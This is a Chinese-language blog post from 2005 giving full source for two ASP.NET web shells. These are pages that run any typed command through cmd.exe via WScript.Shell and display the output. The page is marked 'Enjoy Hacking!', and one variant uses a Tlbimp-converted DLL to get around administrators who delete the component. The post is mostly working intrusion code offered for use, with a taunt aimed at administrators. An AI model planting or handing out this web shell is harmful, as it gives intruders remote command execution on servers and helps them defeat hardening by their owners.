ASP.NET下使用WScript.Shell执行命令

  ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。

  ·Server对象的CreatObject方法

  这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:

  <!--

  Titel: WScript.Shell .NET Version 1

  Author: lake2

  Mail: [email protected]

  Site: http://lake2.0×54.org

  Thanks: Internet

  Date: 2005-8-20

  –>

  <%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>

  <script runat="server">

  sub runcmd(Src As Object, E As EventArgs)

  Dim StrResult As String

  Dim CMDShell As Object

  CMDShell = Server.CreateObject("WScript.Shell")

  StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall

  StrResult = Replace(StrResult , "<","<")

  StrResult = Replace(StrResult , ">",">")

  ResultLabel.Text = "<pre>" & StrResult & "</pre>"

  end sub

  </script>

  <html>

  <head><title>WSH.SHell For ASP.NET By lake2</title></head>

  <body>

  <form runat="server">

  "cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />

  <br>

  Your Command:  <asp:TextBox ID="CMDBox" Width="200" runat="server" />

  <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />

  <br>

  <asp:Label ID="ResultLabel" runat="server" />

  </form>

  <div align="center">———– <font color="#0000FF">Enjoy Hacking!</font> ———–

  </div>

  <hr width="50%">

  </body>

  </html>

  保存为aspx文件,访问之,即可。

  ·将COM组件转化为.NET组件

  微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。

  虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^

  WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll

  然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。

  <!--

  Titel: WScript.Shell .NET Version 2

  Author: lake2

  Mail: [email protected]

  Site: http://lake2.0×54.org

  Thanks: Internet

  Date: 2005-8-20

  –>

  <%@ Page Language="VB" validateRequest="false"%>

  <script runat="server">

  sub runcmd(Src As Object, E As EventArgs)

  Dim StrResult As String

  Dim CMDShell As New WSHomx.WshShell

  ……

  (后同代码1)

  现在访问之,看看效果吧:)

ASP.NET下使用WScript.Shell执行命令

  同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。

  (文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)